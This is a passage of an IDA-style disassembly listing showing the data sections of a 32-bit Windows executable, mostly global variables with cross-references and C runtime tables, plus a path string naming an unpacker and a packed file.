dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
; char byte_4CDDAC[]
byte_4CDDAC	db 288h	dup(0)		; DATA XREF: sub_40BACE+405o
; char byte_4CE034[]
byte_4CE034	db 104h	dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r ...
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r ...
; char byte_4CE164[]
byte_4CE164	db 208h	dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 2080Ah		; DATA XREF: sub_40D8A0+8w
					; sub_40D99C+2D3o
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: sub_40D99C+209o
dword_4CE384	dd 0			; DATA XREF: sub_40E4B9+1Fr
					; sub_40E504+BCo ...
dword_4CE388	dd 0			; DATA XREF: sub_40E504+B7o
					; sub_40E504+DAr ...
dword_4CE38C	dd 0			; DATA XREF: sub_40E504+9Ao
					; sub_40E504+CFr ...
dword_4CE390	dd 0			; DATA XREF: sub_40E476+35r
					; sub_40E504+95o ...
dword_4CE394	dd 0			; DATA XREF: sub_40E476+17r
					; sub_40E4B9+3Dr ...
		dd 0
dword_4CE39C	dd 0C1A5h		; DATA XREF: sub_40BACE+2AEr
					; sub_40E6D9+10w ...
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
					; sub_40E6F0+27Cw
dword_4CE3A8	dd 0			; DATA XREF: sub_40EFBF+2Aw
					; sub_40EFBF+51r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: sub_4107C0+146r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		align 8
byte_4CE3C8	db 0			; DATA XREF: sub_412E9E+1D3w
					; sub_412E9E+2D2o
		align 2
word_4CE3CA	dw 0			; DATA XREF: sub_412E9E+1E3w
word_4CE3CC	dw 0			; DATA XREF: sub_412E9E+1E9w
word_4CE3CE	dw 0			; DATA XREF: sub_412E9E+1F0w
byte_4CE3D0	db 0			; DATA XREF: sub_412E9E+1F7w
byte_4CE3D1	db 0			; DATA XREF: sub_412E9E+1FEw
word_4CE3D2	dw 0			; DATA XREF: sub_412E9E+204w
dword_4CE3D4	dd 0			; DATA XREF: sub_412E9E+234w
					; sub_412E9E+250w
dword_4CE3D8	dd 0			; DATA XREF: sub_412E9E+258w
byte_4CE3DC	db 0			; DATA XREF: sub_412E9E+26Aw
byte_4CE3DD	db 0			; DATA XREF: sub_412E9E+27Dw
word_4CE3DE	dw 0			; DATA XREF: sub_412E9E+295w
word_4CE3E0	dw 0			; DATA XREF: sub_412E9E+2A4w
word_4CE3E2	dw 0			; DATA XREF: sub_412E9E+29Cw
dword_4CE3E4	dd 101h	dup(0)		; DATA XREF: sub_412E9E+2B9o
; char byte_4CE7E8[]
byte_4CE7E8	db 200h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o ...
byte_4CE9E8	db 0			; DATA XREF: sub_414746+1A1w
					; sub_414746+27Ao
		align 2
word_4CE9EA	dw 0			; DATA XREF: sub_414746+1AEw
word_4CE9EC	dw 0			; DATA XREF: sub_414746+1B8w
word_4CE9EE	dw 0			; DATA XREF: sub_414746+1C1w
byte_4CE9F0	db 0			; DATA XREF: sub_414746+1C8w
byte_4CE9F1	db 0			; DATA XREF: sub_414746+1CFw
word_4CE9F2	dw 0			; DATA XREF: sub_414746+1D6w
dword_4CE9F4	dd 0			; DATA XREF: sub_414746+1E3w
dword_4CE9F8	dd 0			; DATA XREF: sub_414746+1EBw
word_4CE9FC	dw 0			; DATA XREF: sub_414746+244w
word_4CE9FE	dw 0			; DATA XREF: sub_414746+22Cw
word_4CEA00	dw 0			; DATA XREF: sub_414746+256w
word_4CEA02	dw 0			; DATA XREF: sub_414746+1F7w
dword_4CEA04	dd 101h	dup(0)		; DATA XREF: sub_414746+265o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 3 dup(0)
byte_4CEE18	db 0			; DATA XREF: sub_414C2F+241o
					; sub_414C2F+250w ...
byte_4CEE19	db 0			; DATA XREF: sub_414C2F+264w
word_4CEE1A	dw 0			; DATA XREF: sub_414C2F+295w
word_4CEE1C	dw 0			; DATA XREF: sub_414C2F+27Cw
					; sub_414C2F:loc_415001w
word_4CEE1E	dw 0			; DATA XREF: sub_414C2F+29Bw
byte_4CEE20	db 0			; DATA XREF: sub_414C2F+288w
byte_4CEE21	db 0			; DATA XREF: sub_414C2F+25Dw
word_4CEE22	dw 0			; DATA XREF: sub_414C2F+3F2w
					; sub_414C2F+41Cw
dword_4CEE24	dd 0			; DATA XREF: sub_414C2F:loc_414EF8w
					; sub_414C2F+39Ar
dword_4CEE28	dd 0			; DATA XREF: sub_414C2F+2D6w
word_4CEE2C	dw 0			; DATA XREF: sub_414C2F+394w
					; sub_414C2F+3E8o
word_4CEE2E	dw 0			; DATA XREF: sub_414C2F+335w
					; sub_414C2F+35Ar ...
dword_4CEE30	dd 0			; DATA XREF: sub_414C2F+30Cw
					; sub_414C2F+3D9w
dword_4CEE34	dd 0			; DATA XREF: sub_414C2F+328w
					; sub_414C2F+3ABw ...
byte_4CEE38	db 0			; DATA XREF: sub_414C2F+311r
					; sub_414C2F+31Fw
byte_4CEE39	db 0			; DATA XREF: sub_414C2F+2DBw
					; sub_414C2F+3A4w ...
word_4CEE3A	dw 0			; DATA XREF: sub_414C2F+2E9w
word_4CEE3C	dw 0			; DATA XREF: sub_414C2F+3F9w
					; sub_414C2F+42Aw
word_4CEE3E	dw 0			; DATA XREF: sub_414C2F+32Ew
word_4CEE40	dw 0			; DATA XREF: sub_414C2F+360w
					; sub_414C2F+432o
word_4CEE42	dw 0			; DATA XREF: sub_414C2F+36Fw
					; sub_414C2F+409w
dword_4CEE44	dd 0			; DATA XREF: sub_414C2F+369w
		align 10h
dword_4CEE50	dd 0			; DATA XREF: sub_414C2F+39Fw
					; sub_414C2F+417o
dword_4CEE54	dd 0			; DATA XREF: sub_414C2F+33Bw
byte_4CEE58	db 0			; DATA XREF: sub_414C2F+341w
byte_4CEE59	db 0			; DATA XREF: sub_414C2F+347w
word_4CEE5A	dw 0			; DATA XREF: sub_414C2F+354w
dword_4CEE5C	dd 7 dup(0)		; DATA XREF: sub_414C2F+3EDo
dword_4CEE78	dd 0			; DATA XREF: sub_414C2F+30w
					; sub_414C2F+43Br
; char byte_4CEE7C[]
byte_4CEE7C	db 400h	dup(0)		; DATA XREF: sub_414C2F+1C3o
					; sub_414C2F+47Eo
; char byte_4CF27C[]
byte_4CF27C	db 4000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do ...
; char byte_4D327C[]
byte_4D327C	db 4 dup(0)		; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
; char byte_4D32C0[]
byte_4D32C0	db 200h	dup(0)		; DATA XREF: sub_4175EA+41o
; wchar_t word_4D34C0
word_4D34C0	dw 0			; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
		align 4
		dd 1FFh	dup(0)
; wchar_t word_4D3CC0
word_4D3CC0	dw 0			; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		align 4
		dd 123h	dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .data:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
; char byte_4D44D0[]
byte_4D44D0	db 200h	dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
; void *Src
Src		dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
; char byte_4DAE0C[]
byte_4DAE0C	db 204h	dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
; char byte_4DB010[]
byte_4DB010	db 5Ch dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
; char byte_4DB06C[]
byte_4DB06C	db 200h	dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
; char byte_4DB270[]
byte_4DB270	db 5Ch dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
; char byte_4DB2CC[]
byte_4DB2CC	db 200h	dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
; char byte_4DB4D0[]
byte_4DB4D0	db 200h	dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
; char byte_4DB6D0[]
byte_4DB6D0	db 204h	dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8D4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8D8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8DC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8E0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
; char byte_4DB8E4[]
byte_4DB8E4	db 34h dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
; int dword_4DB918
dword_4DB918	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
; char byte_4DB920[]
byte_4DB920	db 38h dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB958	dd 0			; DATA XREF: _strtoxl+1B9w
					; _fseek:loc_41D268w ...
dword_4DB95C	dd 0			; DATA XREF: sub_41D3BE+35w
					; __close:loc_41DB0Cw ...
dword_4DB960	dd 0			; DATA XREF: __sopen+13Ar
dword_4DB964	dd 0A28h		; DATA XREF: start+52w
dword_4DB968	dd 501h			; DATA XREF: start+49w
dword_4DB96C	dd 5			; DATA XREF: start+3Ew
dword_4DB970	dd 1			; DATA XREF: start+30w
dword_4DB974	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_401516r
					; __setargv+91w
dword_4DB978	dd 920B20h		; DATA XREF: WinMain(x,x,x,x)+2FEr
					; WinMain(x,x,x,x)+31Er ...
		align 10h
; void *dword_4DB980
dword_4DB980	dd 920B48h		; DATA XREF: __setenvp+44w _getenv+9r	...
dword_4DB984	dd 0			; DATA XREF: ___crtsetenv+36r
dword_4DB988	dd 0			; DATA XREF: _getenv+16r
					; ___wtomb_environ+4r ...
		align 10h
off_4DB990	dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB998	db 0			; DATA XREF: _doexit+2Dw
					; ___endstdio+5r
		align 4
dword_4DB99C	dd 0			; DATA XREF: _doexit+27w
dword_4DB9A0	dd 0			; DATA XREF: _doexit+4r _doexit+8Bw
dword_4DB9A4	dd 0			; DATA XREF: _strtok+3Br _strtok+91w
		dd 0
dword_4DB9AC	dd 0			; DATA XREF: __fpmath+Aw
dword_4DB9B0	dd 0			; DATA XREF: _time+5Er	_time+A4w
		align 8
word_4DB9B8	dw 0			; DATA XREF: _time+55r	_time+9Ao
word_4DB9BA	dw 0			; DATA XREF: _time+48r
		db 2 dup(0)
word_4DB9BE	dw 0			; DATA XREF: _time+3Br
word_4DB9C0	dw 0			; DATA XREF: _time+2Er
word_4DB9C2	dw 0			; DATA XREF: _time+21r
		align 8
; char *dword_4DB9C8
dword_4DB9C8	dd 0			; DATA XREF: start+84w
					; __setenvp:loc_422EDCr ...
		align 10h
dword_4DB9D0	dd 0			; DATA XREF: __amsg_exitr
					; _fast_error_exitr ...
dword_4DB9D4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9D8	dd 0			; DATA XREF: __callnewhr
dword_4DB9DC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9E0	dd 1			; DATA XREF: __setmbcp:loc_420024r
					; _getSystemCP+4w ...
dword_4DB9E4	dd 0			; DATA XREF: __stbuf+37r
		dd 0
dword_4DB9EC	dd 0			; DATA XREF: __cftoe+11r __cftof+1Ar ...
byte_4DB9F0	db 0			; DATA XREF: __cftoe+3r __cftoe+98r ...
		align 4
dword_4DB9F4	dd 0			; DATA XREF: __cftof+11r __cftog+21w ...
byte_4DB9F8	db 0			; DATA XREF: __cftog+51w
		align 4
dword_4DB9FC	dd 0			; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+4Er
					; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar	...
dword_4DBA00	dd 0			; DATA XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+5Cr
					; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+43r	...
dword_4DBA04	dd 0			; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const	*,int,EHRegistrationNode *)+7Ar
					; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,int,int,EHRegistrationNode *)+5r
dword_4DBA08	dd 0			; DATA XREF: sub_42255C+29r
dword_4DBA0C	dd 2 dup(0)		; DATA XREF: unknown_libname_4+Co
; int dword_4DBA14
dword_4DBA14	dd 0			; DATA XREF: __strupr+4r __strupr+6Er	...
		dd 3 dup(0)
dword_4DBA24	dd 0			; DATA XREF: _mbstowcs+61r
					; _mbstowcs+BFr ...
		dd 0
dword_4DBA2C	dd 1			; DATA XREF: ___crtLCMapStringA+28r
					; ___crtLCMapStringA+4Cw ...
dword_4DBA30	dd 0			; DATA XREF: __XcptFilter+3Ar
					; __XcptFilter+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_422F9Ao
					; .data:off_4DB990o
		align 10h
		dd 3Ah dup(0)
dword_4DBB38	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+23w ...
dword_4DBB3C	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_4DBB40	dd 0			; DATA XREF: __openfile+154w
					; __stbuf:loc_42046Fw ...
dword_4DBB44	dd 0			; DATA XREF: __openfile+7r
dword_4DBB48	dd 1			; DATA XREF: ___crtGetStringTypeA+26r
					; ___crtGetStringTypeA:loc_423D56w
		align 10h
word_4DBB50	dw 0			; DATA XREF: __fltout+1Ao __fltout+46r
byte_4DBB52	db 0			; DATA XREF: __fltout+39r
		align 4
dword_4DBB54	dd 7 dup(0)		; DATA XREF: __fltout+52o
dword_4DBB70	dd 0			; DATA XREF: __fltout+40w __fltout+5Co
dword_4DBB74	dd 0			; DATA XREF: __fltout+4Dw
dword_4DBB78	dd 0			; DATA XREF: __fltout+31w
dword_4DBB7C	dd 0			; DATA XREF: __fltout+52w
; int (__stdcall *dword_4DBB80)()
dword_4DBB80	dd 77C26E79h		; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_42472Fr
					; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+38r ...
		align 8
dword_4DBB88	dd 0			; DATA XREF: __tzset+11w __tzset+63w ...
		align 10h
dword_4DBB90	dd 0			; DATA XREF: __tzset+33o __tzset+46r
dword_4DBB94	dd 10h dup(0)		; DATA XREF: __tzset+C1o
word_4DBBD4	dw 0			; DATA XREF: __isindst+A8r
word_4DBBD6	dw 0			; DATA XREF: __tzset+54r __isindst+DBr ...
word_4DBBD8	dw 0			; DATA XREF: __isindst+CAr
word_4DBBDA	dw 0			; DATA XREF: __isindst+D3r
					; __isindst:loc_424B3Cr
word_4DBBDC	dw 0			; DATA XREF: __isindst+C0r
word_4DBBDE	dw 0			; DATA XREF: __isindst+B8r
word_4DBBE0	dw 0			; DATA XREF: __isindst+B0r
word_4DBBE2	dw 0			; DATA XREF: __isindst+9Er
dword_4DBBE4	dd 0			; DATA XREF: __tzset+4Br
dword_4DBBE8	dd 10h dup(0)		; DATA XREF: __tzset+FBo
word_4DBC28	dw 0			; DATA XREF: __isindst+46r
word_4DBC2A	dw 0			; DATA XREF: __tzset:loc_424863r
					; __isindst+78r ...
word_4DBC2C	dw 0			; DATA XREF: __isindst+67r
word_4DBC2E	dw 0			; DATA XREF: __isindst+70r
					; __isindst:loc_424ACEr
word_4DBC30	dw 0			; DATA XREF: __isindst+5Dr
word_4DBC32	dw 0			; DATA XREF: __isindst+55r
word_4DBC34	dw 0			; DATA XREF: __isindst+4Dr
word_4DBC36	dw 0			; DATA XREF: __isindst+3Er
dword_4DBC38	dd 0			; DATA XREF: __tzset+80r
; char *dword_4DBC3C
dword_4DBC3C	dd 0			; DATA XREF: __tzset+132r
					; __tzset:loc_424938r ...
dword_4DBC40	dd 0			; DATA XREF: ___tzsetr	___tzset+Ew
dword_4DBC44	dd 0			; DATA XREF: ___crtMessageBoxA+3r
					; ___crtMessageBoxA+2Ew ...
dword_4DBC48	dd 0			; DATA XREF: ___crtMessageBoxA+43w
					; ___crtMessageBoxA:loc_424DC7r
dword_4DBC4C	dd 0			; DATA XREF: ___crtMessageBoxA+4Aw
					; ___crtMessageBoxA+60r
dword_4DBC50	dd 0			; DATA XREF: __sopen+3Fr
dword_4DBC54	dd 0			; DATA XREF: _raise:loc_4259BCr
					; _raise+6Do
dword_4DBC58	dd 0			; DATA XREF: _raise:loc_425993r
					; _raise+44o
dword_4DBC5C	dd 0			; DATA XREF: _raise:loc_425986r
					; _raise+37o
dword_4DBC60	dd 0			; DATA XREF: _raise:loc_4259A0r
					; _raise+51o
		align 8
dword_4DBC68	dd 0			; DATA XREF: ___crtCompareStringA+28r
					; ___crtCompareStringA+48w ...
dword_4DBC6C	dd 0			; DATA XREF: ___crtLCMapStringW+28r
					; ___crtLCMapStringW+4Cw ...
dword_4DBC70	dd 0			; DATA XREF: ___crtGetStringTypeW+26r
					; ___crtGetStringTypeW:loc_426C7Dw
byte_4DBC74	db 1			; DATA XREF: unknown_libname_1r
					; unknown_libname_1+9w
		align 4
dword_4DBC78	dd 921110h		; DATA XREF: _flsall:loc_41DC01r
					; __getstream+14r ...
		align 10h
dword_4DBC80	dd 400h	dup(0)		; DATA XREF: .data:off_43D0C8o
					; .data:0043D0D0o
; size_t Size
Size		dd 200h			; DATA XREF: _flsall+9r _flsall+56r ...
		dd 7 dup(0)
dword_4DCCA0	dd 920650h		; DATA XREF: __filbuf+75r __read+2Ar ...
dword_4DCCA4	dd 3Fh dup(0)		; DATA XREF: __ioinit+92o
dword_4DCDA0	dd 20h			; DATA XREF: __close+8r __read+Cr ...
dword_4DCDA4	dd 4E4h			; DATA XREF: __setmbcp+14r
					; __setmbcp+65w ...
		align 10h
dword_4DCDB0	dd 3 dup(0)		; DATA XREF: __setmbcp+123o
					; __setmbcp+171o ...
dword_4DCDBC	dd 0			; DATA XREF: __setmbcp+108w
					; __setmbcp+15Dw ...
byte_4DCDC0	db 0			; DATA XREF: _setSBUpLow:loc_4201F4w
					; _setSBUpLow:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEC0	db 0			; DATA XREF: __setmbcp+5Co
					; __setmbcp+AFo ...
byte_4DCEC1	db 0			; DATA XREF: __splitpath+5Dr
					; __setmbcp+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFC4	dd 0			; DATA XREF: __setmbcp+6Ew
					; __setmbcp+12Bw ...
dword_4DCFC8	dd 0			; DATA XREF: ___sbh_heap_init+3Cw
					; ___sbh_alloc_new_region+5r ...
dword_4DCFCC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DCFD0	dd 0			; DATA XREF: ___sbh_heap_init+31w
					; sub_41DEA2+311w ...
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init+21w
					; sub_41DEA2+22Dr ...
dword_4DCFD8	dd 0			; DATA XREF: ___sbh_heap_init+28w
					; ___sbh_find_blockr ...
dword_4DCFDC	dd 0			; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_4DCFE0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DCFE4	dd 920000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DCFE8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DCFEC	dd 142340h		; DATA XREF: start+7Aw	__wincmdln+Fr ...
dword_4DCFF0	dd 1			; DATA XREF: __setenvp+ADw _getenvr
dword_4DCFF4	dd 1			; DATA XREF: ___initmbctabler
					; ___initmbctable+11w ...
dword_4DCFF8	dd 92075Ch		; DATA XREF: _doexit+3Er __onexit+13r	...
; void *dword_4DCFFC
dword_4DCFFC	dd 920758h		; DATA XREF: _doexit+35r _doexit+57r ...
_data		ends

; Section 4. (virtual address 000DD000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 000DD000
; Flags	C0000240: Data Comment Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_sxdata		segment	para public 'DATA' use32
		assume cs:_sxdata
		;org 4DD000h
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h
_sxdata		ends

; Section 5. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000DD200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4DE000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start